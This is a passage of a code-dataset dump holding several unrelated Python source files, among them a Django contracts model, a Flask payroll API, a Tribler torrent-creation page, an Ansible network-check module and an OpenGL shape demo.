range(len(a)):\n\t\tout.write((a[i][1]))","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"363873964","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 20 13:49:27 2020\n\n@author: pierrejablonski\n\"\"\"\n\n\"\"\"\nThe purpose of this code is to save in a workspace to parameters usefull to models of version V_0_1_n\n\"\"\"\n\n# Libraires\n# --------------\nimport pickle\n\n# Parameters\n# --------------\n\nalpha = 0.05; # fuel savings efficiency, typically 5-10%\nfuel_burn_1 = 7; # fuel burn consumption in kg/km or Aircraft 1\nfuel_burn_2 = 12; # fuel burn consumption in kg/km or Aircraft 2\n\n# coordinates [long, lat] of aircraft 1 at time of change of course\naircraft_1 = [-87.554420, 41.739685]; # Chicago\naircraft_1 = [-73.567256, 45.5016889]; # Montreal\n#aircraft_1 = [-118.410042, 33.942791]; # Los Angeles\n\n# coordinates of aircraft 2 at time of change of course\naircraft_2 = [-80.191788, 25.761681]; # Miami\n#aircraft_2 = [-73.935242, 40.730610]; # New York\n\n# coordinates of destination\ndestination = [-0.076132, 51.508530]; # London\n\n\n\n\n# Save to workspace\nf = open('./params.pckl', 'wb')\npickle.dump([alpha, fuel_burn_1, fuel_burn_2, aircraft_1, aircraft_2, destination], f)\nf.close()\n\n\n","sub_path":"V_1_3/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"113682881","text":"import glob\nimport logging\nimport os\n\nlogging.root.setLevel(logging.DEBUG)\n\n# Dynamically loads fixtures from all python files.\npytest_modules = list()\nfor python_file in glob.glob(\"**/*[!test_|__init__|conftest]*.py\", recursive=True):\n path_list = python_file.split(os.sep)\n module_name = path_list[-1][:-3]\n pytest_modules.append(\".\".join(path_list[:-1]) + \".\" + module_name)\n\npytest_plugins = pytest_modules\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"642423090","text":"# Random\nimport random\nimport copy\nimport time\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\nG_APMS = nx.read_edgelist('yeast_AP-MS.txt')\nG = G_APMS.copy()\n\nnodes = set(G.nodes())\nN = len(nodes)\n\nX = [0]*(N-1)\nY = [0]*(N-1)\n\n\nM = 1\nt0 = time.time()\nfor j in range(M):\n G = G_APMS.copy()\n nod = copy.deepcopy(nodes)\n for i in range(1,N):\n n = random.choice(list(nod))\n nod.remove(n)\n x = i/N\n G.remove_node(n)\n gig = max(nx.connected_component_subgraphs(G), key=len)\n y = len(gig)/len(G_APMS)\n X[i-1] += x/M\n Y[i-1] += y/M\n\nt = time.time()\nprint(t-t0)\n\nplt.plot(X,Y)\nplt.show()","sub_path":"Random_centrality.py","file_name":"Random_centrality.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"537601668","text":"from django.db import models\nfrom djorm_pgfulltext.models import SearchManager, SearchQuerySet\nfrom djorm_pgfulltext.fields import VectorField\n\n\nEDUCATION_CHOICES = (\n ('HS', 'High School'),\n ('AA', 'Associates'),\n ('BA', 'Bachelors'),\n ('MA', 'Masters'),\n ('PHD', 'Ph.D.'),\n)\n\n\nclass CurrentContractManager(SearchManager):\n # need to subclass the SearchManager we were using for postgres full text search instead of default\n def get_queryset(self):\n return ContractsQuerySet(self.model, using=self._db)\\\n .filter(current_price__gt=0)\\\n .exclude(current_price__isnull=True)\n\n\nclass ContractsQuerySet(SearchQuerySet):\n\n def order_by(self, *args, **kwargs):\n edu_sort_sql = \"\"\"\n case\n when education_level = 'HS' then 1\n when education_level = 'AA' then 2\n when education_level = 'BA' then 3\n when education_level = 'MA' then 4\n when education_level = 'PHD' then 5\n else -1\n end\n \"\"\"\n\n edu_index = None\n\n sort_params = list(args)\n\n if 'education_level' in sort_params:\n edu_index = sort_params.index('education_level')\n elif '-education_level' in sort_params:\n edu_index = sort_params.index('-education_level')\n\n if edu_index is not None:\n sort_params[edu_index] = 'edu_sort' if not args[edu_index].startswith('-') else '-edu_sort'\n queryset = super(ContractsQuerySet, self)\\\n .extra(select={'edu_sort': edu_sort_sql}, order_by=sort_params)\n else:\n queryset = super(ContractsQuerySet, self)\\\n .order_by(*args, **kwargs)\n\n return queryset\n\n\nclass Contract(models.Model):\n\n idv_piid = models.CharField(max_length=128) #index this field\n piid = models.CharField(max_length=128) #index this field\n contract_start = models.DateField(null=True, blank=True)\n contract_end = models.DateField(null=True, blank=True)\n contract_year = models.IntegerField(null=True, blank=True)\n vendor_name = models.CharField(max_length=128)\n labor_category = models.TextField(db_index=True)\n education_level = models.CharField(db_index=True, choices=EDUCATION_CHOICES, max_length=5, null=True, blank=True)\n min_years_experience = models.IntegerField(db_index=True)\n hourly_rate_year1 = models.DecimalField(max_digits=10, decimal_places=2)\n hourly_rate_year2 = models.DecimalField(max_digits=10, decimal_places=2, null=True, blank=True)\n hourly_rate_year3 = models.DecimalField(max_digits=10, decimal_places=2, null=True, blank=True)\n hourly_rate_year4 = models.DecimalField(max_digits=10, decimal_places=2, null=True, blank=True)\n hourly_rate_year5 = models.DecimalField(max_digits=10, decimal_places=2, null=True, blank=True)\n current_price = models.DecimalField(db_index=True, max_digits=10, decimal_places=2, null=True, blank=True)\n next_year_price = models.DecimalField(db_index=True, max_digits=10, decimal_places=2, null=True, blank=True)\n second_year_price = models.DecimalField(db_index=True, max_digits=10, decimal_places=2, null=True, blank=True)\n contractor_site = models.CharField(db_index=True, max_length=128, null=True, blank=True)\n schedule = models.CharField(db_index=True, max_length=128, null=True, blank=True)\n business_size = models.CharField(db_index=True, max_length=128, null=True, blank=True)\n sin = models.TextField(null=True, blank=True)\n\n search_index = VectorField()\n\n #use a manager that filters by current contracts with a valid current_price\n objects = CurrentContractManager(\n fields=('labor_category',),\n config = 'pg_catalog.english',\n search_field='search_index',\n auto_update_search_field = True\n )\n\n def get_readable_business_size(self):\n if 's' in self.business_size.lower():\n return 'small business'\n else:\n return 'other than small business'\n\n @staticmethod\n def get_education_code(text):\n for pair in EDUCATION_CHOICES:\n if text.strip() in pair[1]:\n return pair[0]\n\n return None\n\n @staticmethod\n def normalize_rate(rate):\n return float(rate.replace(',', '').replace('$', ''))\n","sub_path":"contracts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"630583346","text":"import re\r\n\r\ndef vocab_splitter(sentence, dictionary):\r\n\r\n max_len = 0\r\n result = \"\"\r\n\r\n if len(sentence) > max(dictionary.keys()):\r\n max_len = max(dictionary.keys())\r\n else:\r\n max_len = len(sentence)\r\n\r\n while sentence:\r\n if sentence[:max_len] in dictionary.get(max_len, ''):\r\n result += sentence[:max_len] + \" \"\r\n sentence = sentence.replace(sentence[:max_len], '')\r\n max_len = 0\r\n\r\n if len(sentence) > max(dictionary.keys()):\r\n max_len = max(dictionary.keys())\r\n else:\r\n max_len = len(sentence)\r\n else:\r\n max_len -= 1\r\n if sentence != \"\\n\":\r\n if max_len == 0:\r\n result = \"Error\"\r\n break\r\n else:\r\n sentence = \"\"\r\n\r\n return result\r\n\r\n\r\ndef normalizing_dictionary_from_tokens():\r\n vocabs = open(\"tokens.fa\", \"r\", encoding=\"utf8\")\r\n vocab_list = vocabs.read().splitlines()\r\n normalized_dictionary = dict()\r\n\r\n for word in vocab_list:\r\n word = re.sub(r\"[0-9]|\\t|\\n|\\s\", \"\", word)\r\n if len(word) in normalized_dictionary:\r\n normalized_dictionary[len(word)].append(word)\r\n else:\r\n normalized_dictionary[len(word)] = [word]\r\n\r\n return normalized_dictionary\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n sentences = open(\"mergedTokens.fa\", \"r\", encoding=\"utf8\")\r\n result_file = open(\"persian_result_file.txt\", \"w+\", encoding=\"utf8\")\r\n normalized_dictionary = normalizing_dictionary_from_tokens()\r\n\r\n for sentence in sentences:\r\n result_file.write(\"\" + sentence + \"--result-->\" + vocab_splitter(sentence, normalized_dictionary) + \"\\n\")\r\n","sub_path":"nlp1/persian_tokenizer.py","file_name":"persian_tokenizer.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"527412700","text":"#!/usr/bin/env python \n# Always prefer setuptools over distutils\n\nfrom setuptools import setup, find_packages \n\n__doc__ = \"\"\" \n\nTo install as system package: \n\n python setup.py install \n \nTo install as local package: \n\n RU=/opt/control\n python setup.py egg_info --egg-base=tmp install --root=$RU/files --no-compile \\\n --install-lib=lib/python/site-packages --install-scripts=ds\n \n------------------------------------------------------------------------------- \n\"\"\"\n#print(__doc__)\n\n__MAJOR_VERSION = 1\n__MINOR_VERSION = 8\n\n__version = \"%d.%d\"%(__MAJOR_VERSION,__MINOR_VERSION)\n\n__license = 'GPL-3.0' \n\npackage_data = {\n '': [] #'CHANGES','VERSION','README',\n #'./tools/icon/*','./tools/*ui',],\n } \n\nsetup(name = 'PyHdbppPeriodicArchiver',\n version = __version,\n license = __license,\n description = 'PyHdbppPeriodicArchiver DS for peridical attr insert in HDB++',\n author='Manolo Broseta',\n author_email='mbroseta@cells.es',\n url='git@git.cells.es:controls/PyHdbppPeriodicArchiver.git', \n packages=find_packages(),\n include_package_data = True,\n package_data = package_data,\n entry_points = {\n 'console_scripts': \n [\n 'PyHdbppPeriodicArchiver = PyHdbppPeriodicArchiver.PyHdbppPeriodicArchiver:main',\n ]\n },\n ) \n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"153893683","text":"# Copyright 2020 Board of Trustees of the University of Illinois.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport connexion\nimport logging\nimport controllers.configs as cfg\n\nfrom time import gmtime\nfrom rokwireresolver import RokwireResolver\n\ndebug = cfg.DEBUG\n\nlog = logging.getLogger('werkzeug')\nlog.disabled = True\n\nlogging.Formatter.converter = gmtime\nlog_format ='%(asctime)-15s.%(msecs)03dZ %(levelname)-7s [%(threadName)-10s] : %(name)s - %(message)s'\n\nif debug:\n logging.basicConfig(datefmt='%Y-%m-%dT%H:%M:%S', format=log_format, level=logging.DEBUG)\nelse:\n logging.basicConfig(datefmt='%Y-%m-%dT%H:%M:%S', format=log_format, level=logging.INFO)\n\napp = connexion.FlaskApp(__name__, debug=debug, specification_dir=cfg.API_LOC)\napp.add_api('rokwire.yaml', base_path=cfg.PROFILE_URL_PREFIX, arguments={'title': 'Rokwire'}, resolver=RokwireResolver('controllers'),\n resolver_error=501)\n\nif __name__ == '__main__':\n app.run(port=5000, host=None, server='flask', debug=debug)","sub_path":"profileservice/api/profile_rest_service.py","file_name":"profile_rest_service.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"591958532","text":"\"\"\"\nYou are given coins of different denominations and a total amount of money amount. Write a function to compute the fewest number of coins that you need to make up that amount. If that amount of money cannot be made up by any combination of the coins, return -1.\n\nExample 1:\n\nInput: coins = [1, 2, 5], amount = 11\nOutput: 3\nExplanation: 11 = 5 + 5 + 1\nExample 2:\n\nInput: coins = [2], amount = 3\nOutput: -1\n\"\"\"\n\nclass Solution:\n def coinChange(self, coins: List[int], amount: int) -> int:\n calcValues = [amount + 1 for _ in range(amount + 1)]\n calcValues[0] = 0\n i = 0\n while i <= amount:\n minimum = calcValues[i]\n for coin in coins:\n if coin <= i:\n minimum = min(calcValues[i - coin] + 1, minimum)\n calcValues[i] = minimum\n i += 1\n answer = calcValues[amount]\n return answer if answer != amount + 1 else -1\n\n","sub_path":"leetCode/dynamic_programming/minimumCoinChange.py","file_name":"minimumCoinChange.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"220265062","text":"from app import app\nfrom flask import jsonify, request, session\nfrom flask_jwt import JWT, jwt_required, current_identity\nfrom selenium import webdriver\nimport pickle, os\nfrom redis import Redis\nfrom .payroll_pal_client import PayrollPal, load_pickled\nfrom datetime import timedelta, today\nr = Redis('localhost') \n\n# when to destroy pickle file\n# if user logs out\n# if jwt token expires ( handled by heartbeat )\n# if flask session expires ( handled by heartbeat )\n\n# session has been replaced with a redis store\n# pp id is encoded in jwt, so jwt acts as the session cookie\n# this keeps tmp/ and all active sessions coupled. when session is destroyed, pickle is destroyed. if pickle is destroyed, 401 is returned\n# it also happens that i couldnt figure out how to get session to work (CORs and fetch problems) and this seems to work without issue. no coincidence whatsoever\n\ndef authenticate(username, password):\n start = today.strftime(\"%d/%m/%Y\").split(\"/\")\n end = today + timedelta(days=7)\n end = end.split(\"/\")\n pp = PayrollPal(username, password, start=start, end=end)\n if pp.login():\n r.set(pp.id, 1)\n root = os.path.abspath(os.path.dirname(__file__))\n file_path = \"{}/tmp/{}-payroll-pal.p\".format(root, pp.id)\n pickle.dump(pp, open( file_path, \"wb\" ))\n return pp\n\ndef identity(payload):\n pickle_id = payload['identity']\n if r.get(pickle_id):\n pp = load_pickled(pickle_id)\n if pp.logged_in:\n return pp\n\napp.config.setdefault('JWT_EXPIRATION_DELTA', timedelta(seconds=40000))\njwt = JWT(app, authenticate, identity)\n\n# auth routes\n\n@app.route('/logout', methods=['POST'])\n@jwt_required()\ndef logout():\n current_identity.logout()\n return ('', 204)\n\n@app.route('/verify', methods=['GET'])\n@jwt_required()\ndef verify():\n # used to verify token.\n return ('', 204)\n \n@app.route('/hearbeat', methods=['GET', 'POST'])\n@jwt_required()\ndef heartbeat():\n # ping /heartbeat every minute\n # redis will clear tokens that are 2 minute old\n # as long as application is open, it is pinging /hearbeat and thus the pp object should be kept alive\n # if key is older than 1 minute, user has closed application and pp object should be destroyed \n # this is handled by pickle_cleanup.py. a cron job runs every 3 minutes and checks if the id is in redis.\n # if it is not, the session has expired and the pickle file should be deleted\n id = current_identity.id\n r.set(id, 1, ex=120)\n print('beat-{}'.format(id))\n return ('', 204)\n\n\n@app.before_request\ndef print_request():\n print(request.get_json())\n \n# app routes\n\n@app.route('/')\n@app.route('/get-entries', methods=['POST'])\n@jwt_required()\ndef get_entries():\n pickle_id = current_identity.id\n pp = load_pickled(current_identity.id)\n\n pp.start = request.get_json()['start'] \n pp.end = request.get_json()['end']\n\n data = pp.get_entries()\n\n return jsonify(data)\n\n@app.route('/demo', methods=['POST'])\ndef demo():\n pickle_id = current_identity.id\n pp = load_pickled(current_identity.id)\n return jsonify(pp.entries)\n\n@app.route('/update-entry', methods=['POST'])\n@jwt_required()\ndef update_entry():\n pickle_id = current_identity.id\n pp = load_pickled(current_identity.id)\n\n entry = request.get_json()['entry']\n pp.set_entries([\n request.get_json()['entries']\n ])\n\n return jsonify(pp.get_entries)\n\n@app.route('/approve-all', methods=['POST'])\n@jwt_required()\ndef approve_all():\n pickle_id = current_identity.id\n pp = load_pickled(current_identity.id)\n\n pp.approve_all()\n\n return jsonify(pp.get_entries())\n ","sub_path":"back-end/payroll-pal-api/build/lib/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"127274849","text":"# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport ipaddress\nimport os\nimport typing\n\nfrom thrift.py.client.common import ClientType, Protocol, SSLContext\n\nTClient = typing.TypeVar(\"TClient\")\nPath = typing.Union[str, bytes, os.PathLike[str], os.PathLike[bytes]]\n\ndef get_client(\n clientKlass: typing.Type[TClient],\n *,\n host: typing.Optional[\n typing.Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address]\n ] = ...,\n port: typing.Optional[int] = ...,\n path: typing.Optional[Path] = ...,\n timeout: float = ...,\n client_type: ClientType = ...,\n protocol: Protocol = ...,\n ssl_context: typing.Optional[SSLContext] = ...,\n ssl_timeout: float = ...,\n) -> TClient: ...\n","sub_path":"thrift/lib/py/client/sync_client_factory.pyi","file_name":"sync_client_factory.pyi","file_ext":"pyi","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"411617708","text":"from datetime import datetime\n\nfrom db.crud.base import Base\nfrom utils.snowflake import get_id\nfrom models.permission import PermissionInDB, \\\n PermissionInCreate, \\\n PermissionInUpdate\n\n\nclass Permission(Base):\n async def list_permissions(self, offset, limit) -> list:\n count = await self.exec(\"count_permissions\")\n if not count:\n return list(), 0\n\n permissions = list()\n\n records = await self.exec(\"list_permissions\", offset=offset, limit=limit)\n if records:\n permissions = [PermissionInDB(**record) for record in records]\n\n return permissions, count\n\n async def add_permission(self, permission: PermissionInCreate\n ) -> PermissionInDB:\n record = await self.exec(\"add_permission\",\n id=get_id(),\n name=permission.name,\n uri=permission.uri,\n description=permission.description,\n method=permission.method,\n status=permission.status,\n creator=permission.creator,\n )\n\n return await self.get_permission_by_id(record[0])\n\n async def get_permission_by_id(self, id) -> PermissionInDB:\n record = await self.exec(\"get_permission_by_id\", id)\n if record:\n return PermissionInDB(**record)\n\n return None\n\n async def delete_permission_by_id(self, id) -> None:\n return await self.exec(\"delete_permission_by_id\", id)\n\n async def update_permission_by_id(self, id: int, permission: PermissionInUpdate\n ) -> datetime:\n record = await self.exec(\"update_permission_by_id\",\n id=id,\n name=permission.name,\n uri=permission.uri,\n description=permission.description,\n method=permission.method,\n status=permission.status,\n )\n\n return record\n","sub_path":"backend-py/src/db/crud/permission.py","file_name":"permission.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"54507581","text":"\"\"\"\nРеализовать метод __str__, позволяющий выводить все папки и файлы из данной, например так:\n\n> print(folder1)\n\nV folder1\n|-> V folder2\n| |-> V folder3\n| | |-> file3\n| |-> file2\n|-> file1\n\nА так же возможность проверить, находится ли файл или папка в другой папке:\n> print(file3 in folder2)\nTrue\n\n\"\"\"\nimport os\nimport os.path\n\n\nclass PrintableFolder:\n def __init__(self, name, content):\n self.name = name\n self.content = content\n\n def __str__(self):\n path = ''\n for i, key in enumerate(content.keys()):\n if key != self.name:\n path += f\"{'| ' * (i - 1)}|-> V {key} \\n\"\n else:\n path += f'V {key} \\n'\n\n dir_count = len(content.keys()) - 1\n list_of_values = list(content.values())\n for value in reversed(list_of_values):\n for i in range(len(value)):\n path += f\"{'| ' * dir_count}|-> {value[i]}\\n\"\n dir_count -= 1\n return path\n\n def __contains__(self, file):\n all_folders = list(content.values())\n for curr_folder in range(len(all_folders)):\n if file in all_folders[curr_folder]:\n return True\n return False\n\n\nclass PrintableFile:\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return '|-> ' + self.name\n\n\ncontent = {} \ncurr_dir = os.getcwd()\nname_of_base_dir = os.path.basename(curr_dir)\n\nfor (dirpath, dirnames, filenames) in os.walk(curr_dir):\n name_of_dir = os.path.basename(dirpath)\n content.update({name_of_dir: filenames})\n\nfolder = PrintableFolder(name_of_base_dir, content)\nprint(folder)\nfile = 'task4.py'\nprint(file in folder)","sub_path":"06-advanced-python/hw/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"204248658","text":"import os\nfrom PyQt5.QtGui import QIcon\n\nfrom PyQt5.QtWidgets import QWidget, QFileDialog, QAction\n\nfrom TriblerGUI.tribler_action_menu import TriblerActionMenu\nfrom TriblerGUI.defs import PAGE_EDIT_CHANNEL_TORRENTS, BUTTON_TYPE_NORMAL\nfrom TriblerGUI.dialogs.confirmationdialog import ConfirmationDialog\nfrom TriblerGUI.tribler_request_manager import TriblerRequestManager\nfrom TriblerGUI.utilities import get_image_path\n\n\nclass CreateTorrentPage(QWidget):\n \"\"\"\n The CreateTorrentPage is the page where users can create torrent files so they can be added to their channel.\n \"\"\"\n\n def __init__(self):\n QWidget.__init__(self)\n\n self.channel_identifier = None\n self.request_mgr = None\n self.dialog = None\n self.selected_item_index = -1\n\n def initialize(self, identifier):\n self.channel_identifier = identifier\n self.window().manage_channel_create_torrent_back.setIcon(QIcon(get_image_path('page_back.png')))\n\n self.window().create_torrent_name_field.setText('')\n self.window().create_torrent_description_field.setText('')\n self.window().create_torrent_files_list.clear()\n self.window().create_torrent_files_list.customContextMenuRequested.connect(self.on_right_click_file_item)\n\n self.window().manage_channel_create_torrent_back.clicked.connect(self.on_create_torrent_manage_back_clicked)\n self.window().create_torrent_choose_files_button.clicked.connect(self.on_choose_files_clicked)\n self.window().create_torrent_choose_dir_button.clicked.connect(self.on_choose_dir_clicked)\n self.window().edit_channel_create_torrent_button.clicked.connect(self.on_create_clicked)\n\n def on_create_torrent_manage_back_clicked(self):\n self.window().edit_channel_details_stacked_widget.setCurrentIndex(PAGE_EDIT_CHANNEL_TORRENTS)\n\n def on_choose_files_clicked(self):\n filenames = QFileDialog.getOpenFileNames(self, \"Please select the files\", \"\")\n\n for filename in filenames[0]:\n self.window().create_torrent_files_list.addItem(filename)\n\n def on_choose_dir_clicked(self):\n chosen_dir = QFileDialog.getExistingDirectory(self, \"Please select the directory containing the files\", \"\",\n QFileDialog.ShowDirsOnly)\n\n if len(chosen_dir) == 0:\n return\n\n files = []\n for path, _, dir_files in os.walk(chosen_dir):\n for filename in dir_files:\n files.append(os.path.join(path, filename))\n\n self.window().create_torrent_files_list.clear()\n for filename in files:\n self.window().create_torrent_files_list.addItem(filename)\n\n def on_create_clicked(self):\n if self.window().create_torrent_files_list.count() == 0:\n self.dialog = ConfirmationDialog(self, \"Notice\", \"You should add at least one file to your torrent.\",\n [('CLOSE', BUTTON_TYPE_NORMAL)])\n self.dialog.button_clicked.connect(self.on_dialog_ok_clicked)\n self.dialog.show()\n return\n\n files_str = u\"\"\n for ind in xrange(self.window().create_torrent_files_list.count()):\n files_str += u\"files[]=%s&\" % self.window().create_torrent_files_list.item(ind).text()\n\n description = self.window().create_torrent_description_field.toPlainText()\n post_data = (u\"%s&description=%s\" % (files_str[:-1], description)).encode('utf-8')\n self.request_mgr = TriblerRequestManager()\n self.request_mgr.perform_request(\"createtorrent\", self.on_torrent_created, data=post_data, method='POST')\n\n def on_dialog_ok_clicked(self, _):\n self.dialog.setParent(None)\n self.dialog = None\n\n def on_torrent_created(self, result):\n if 'torrent' in result:\n self.add_torrent_to_channel(result['torrent'])\n\n def add_torrent_to_channel(self, torrent):\n post_data = str(\"torrent=%s\" % torrent)\n self.request_mgr = TriblerRequestManager()\n self.request_mgr.perform_request(\"channels/discovered/%s/torrents\" %\n self.channel_identifier, self.on_torrent_to_channel_added,\n data=post_data, method='PUT')\n\n def on_torrent_to_channel_added(self, result):\n if 'added' in result:\n self.window().edit_channel_details_stacked_widget.setCurrentIndex(PAGE_EDIT_CHANNEL_TORRENTS)\n self.window().edit_channel_page.load_channel_torrents()\n\n def on_remove_entry(self):\n self.window().create_torrent_files_list.takeItem(self.selected_item_index)\n\n def on_right_click_file_item(self, pos):\n item_clicked = self.window().create_torrent_files_list.itemAt(pos)\n if not item_clicked:\n return\n\n self.selected_item_index = self.window().create_torrent_files_list.row(item_clicked)\n\n menu = TriblerActionMenu(self)\n\n remove_action = QAction('Remove file', self)\n remove_action.triggered.connect(self.on_remove_entry)\n menu.addAction(remove_action)\n menu.exec_(self.window().create_torrent_files_list.mapToGlobal(pos))\n","sub_path":"TriblerGUI/widgets/createtorrentpage.py","file_name":"createtorrentpage.py","file_ext":"py","file_size_in_byte":5186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"635247186","text":"#!/usr/bin/python\n\nfrom ansible.module_utils.basic import *\nimport os\nimport ast\nimport yaml\n\ndef check_net_namespace(module):\n vm_id = module.params[\"vm_id\"]\n cmd = '''sudo grep -i tap /var/lib/nova/instances/{}/libvirt.xml|cut -d '\"' -f2'''.format(vm_id)\n rc, stdout, stderr = module.run_command(cmd, use_unsafe_shell=True)\n if rc != 0:\n error_msg = \"Missing network interface on the VM {}\".format(vm_id)\n module.fail_json(msg={\"rc\":rc, \"error\": error_msg, \"stderr\": stderr})\n tap_iface = stdout\n cmd = \"sudo ovs-vsctl list-br\"\n rc, stdout, stderr = module.run_command(cmd, use_unsafe_shell=True)\n if rc != 0:\n error_msg = \"Missing network interface on the VM {}\".format(vm_id)\n module.fail_json(msg={\"rc\":rc, \"error\": error_msg, \"stderr\": stderr})\n ovs_bridges = stdout.split('\\n')\n if 'br-int' not in ovs_bridges:\n module.fail_json(msg={\"ConfigError\":\"br-int not found in ovs bridges on the compute\"})\n net_details = ast.literal_eval(module.params[\"net_details\"])\n '''\n if net_details['network_type'] in ['vxlan', 'gre']:\n if 'tun' not in ovs_bridges:\n module.fail_json(msg={\"ConfigError\":\"Tunnel bridge not found in ovs bridges on the compute\"})\n '''\n cmd = '''sudo grep -i tap /var/lib/nova/instances/{}/libvirt.xml|cut -d '\"' -f2'''.format(vm_id)\n rc, stdout, stderr = module.run_command(cmd, use_unsafe_shell=True)\n if rc != 0:\n error_msg = \"Missing network interface on the VM {}\".format(vm_id)\n module.fail_json(msg={\"rc\":rc, \"error\": error_msg, \"stderr\": stderr})\n output = {\n \"tap_interface\": tap_iface,\n \"ovs_bridges\": ovs_bridges\n }\n module.exit_json(changed=False,meta=output)\n\ndef main():\n fields = {\n \"vm_id\": {\"required\": True, \"type\": \"str\"},\n \"net_details\": {\"required\": True, \"type\": \"str\"}\n }\n module = AnsibleModule(argument_spec=fields)\n check_net_namespace(module)\n\nif __name__ == '__main__':\n main()\n","sub_path":"library/neutron/get_compute_net_details.py","file_name":"get_compute_net_details.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"59307827","text":"#\n# showV1/show.py\n#\n# Author: Matthew Atteberry\n# CSCI 385: Computer Graphics, Reed College, Fall 2017\n#\n#Modified from:\t\n#\tshowV1/show.py\n#\n#\tAuthor: Jim Fix\n#\tCSCI 385: Computer Graphics, Reed College, Fall 2017\n#\n#\tThis is a sample GLUT program that displays a tetrahedron \n#\tmade up of triangular facets.\n#\n#\tThe OpenGL drawing part of the code occurs in drawScene. \n#\n#\tThis code was adapted from Sam Buss' SimpleDraw.py.\n#\n\nimport math\nimport sys\nfrom random import random\nfrom math import pi\n\nfrom OpenGL.GLUT import *\nfrom OpenGL.GL import *\n\nfrom PIL import Image #will need to install PIL with: [INSERT CMD]\n\nwireframe = False\nrotation1 = 0.0\nrotation2 = 0.0\nshow_which = 0\nsmoothness = 10; #controls the amount of segments approximating curves\nbumpH = 0.15;\ndegToRad = (2*math.pi/smoothness) #for geometric calculations\niR = 0.5 #inner torus radius\noR = 1 #outter torus radius\nim = Image.open(\"volcano.png\")\nimRGB = im.convert('RGB')\nxSize = 2/im.size[0]\nySize = 2/im.size[1]\n\ndef drawTetra(): #press 0\n\n\t# This describes the facets of a tetrahedron whose\n\t# vertices sit at 4 of the 8 corners of the \n\t# of the cube volume [-1,1] x [-1,1] x [-1,1].\n\t\n\t# Draw all the triangular facets.\n\tglBegin(GL_TRIANGLES)\n\n\t# The three vertices are +-+ ++- -++ ---\n\n\t# missing ---\n\tglColor3f(1.0,1.0,0.0)\n\tglVertex3f( 1.0,-1.0, 1.0)\n\tglVertex3f( 1.0, 1.0,-1.0)\n\tglVertex3f(-1.0, 1.0, 1.0)\n\t# missing ++-\n\tglColor3f(0.0,1.0,1.0)\n\tglVertex3f( 1.0,-1.0, 1.0)\n\tglVertex3f(-1.0, 1.0, 1.0)\n\tglVertex3f(-1.0,-1.0,-1.0)\n\t# missing -++\n\tglColor3f(1.0,0.0,1.0)\n\tglVertex3f(-1.0,-1.0,-1.0)\n\tglVertex3f( 1.0, 1.0,-1.0)\n\tglVertex3f( 1.0,-1.0, 1.0)\n\t# missing +-+\n\tglColor3f(1.0,1.0,1.0)\n\tglVertex3f( 1.0, 1.0,-1.0)\n\tglVertex3f(-1.0,-1.0,-1.0)\n\tglVertex3f(-1.0, 1.0, 1.0)\n\n\tglEnd()\n\ndef drawCube(): #press 1\n\n\t# Draw all the triangular facets.\n\tglBegin(GL_TRIANGLES)\n\n\t# Each Face (Bottom, Top, Left, Right, Back, Front)\n\t# is made up of two triangles.\n\t# I used a rubix cube color scheme\n\n\t# bottom XZ face\n\tglColor3f(0.72,0.07,0.2) #Red\n\n\tglVertex3f( 